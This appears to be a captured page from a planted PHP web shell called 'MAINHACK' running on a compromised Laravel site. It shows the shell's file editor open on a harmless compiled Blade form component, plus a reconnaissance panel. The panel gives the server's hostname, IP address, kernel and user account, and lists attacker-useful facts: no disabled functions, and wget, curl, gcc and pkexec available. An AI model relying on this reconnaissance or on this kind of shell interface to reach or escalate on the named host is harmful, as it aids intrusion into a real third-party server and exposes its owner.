[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 570cbde9262fe8ef1c9e4ddcacc35358.php
<?php $attributes ??= new \Illuminate\View\ComponentAttributeBag; ?> <?php foreach($attributes->onlyProps([ 'name' => '', 'label' => '', 'id' => 'imageInput', 'value' => '', 'required' => false, 'col' => 'col-lg-6', 'class' => '', ]) as $__key => $__value) { $$__key = $$__key ?? $__value; } ?> <?php $attributes = $attributes->exceptProps([ 'name' => '', 'label' => '', 'id' => 'imageInput', 'value' => '', 'required' => false, 'col' => 'col-lg-6', 'class' => '', ]); ?> <?php foreach (array_filter(([ 'name' => '', 'label' => '', 'id' => 'imageInput', 'value' => '', 'required' => false, 'col' => 'col-lg-6', 'class' => '', ]), 'is_string', ARRAY_FILTER_USE_KEY) as $__key => $__value) { $$__key = $$__key ?? $__value; } ?> <?php $__defined_vars = get_defined_vars(); ?> <?php foreach ($attributes as $__key => $__value) { if (array_key_exists($__key, $__defined_vars)) unset($$__key); } ?> <?php unset($__defined_vars); ?> <div class="<?php echo e($col); ?> input-component mb-2"> <label for="<?php echo e($id); ?>" class="form-label fw-bold"> <?php echo e(translate($label)); ?> <?php if($required): ?> <span class="text-danger">*</span> <?php endif; ?> </label> <div class="d-flex gap-1 align-content-center"> <div class="preview-image"> <?php if(!empty($value)): ?> <img src="<?php echo e(asset('storage/'.$value)); ?>" id="imagePreview" class="rounded-3" height="40" width="40" alt=""> <?php else: ?> <img src="<?php echo e(asset('assets/img/no-image.png')); ?>" id="imagePreview" class="rounded-3" height="40" width="40" alt=""> <?php endif; ?> </div> <input accept="image/*" type="file" id="imageInput" class="form-control <?php echo e($class); ?>" name="<?php echo e($name); ?>" value="<?php echo e($value); ?>" > </div> <?php echo e($slot); ?> <?php $__errorArgs = [$name]; $__bag = $errors->getBag($__errorArgs[1] ?? 'default'); if ($__bag->has($__errorArgs[0])) : if (isset($message)) { $__messageOriginal = $message; } $message = $__bag->first($__errorArgs[0]); ?> <span class="text-danger"><i class="fas fa-warning"></i> <?php echo e($message); ?></span> <?php unset($message); if (isset($__messageOriginal)) { $message = $__messageOriginal; } endif; unset($__errorArgs, $__bag); ?> </div> <?php /**PATH /home/eliosofonline/pham.eliosof.com/resources/views/components/form/file.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002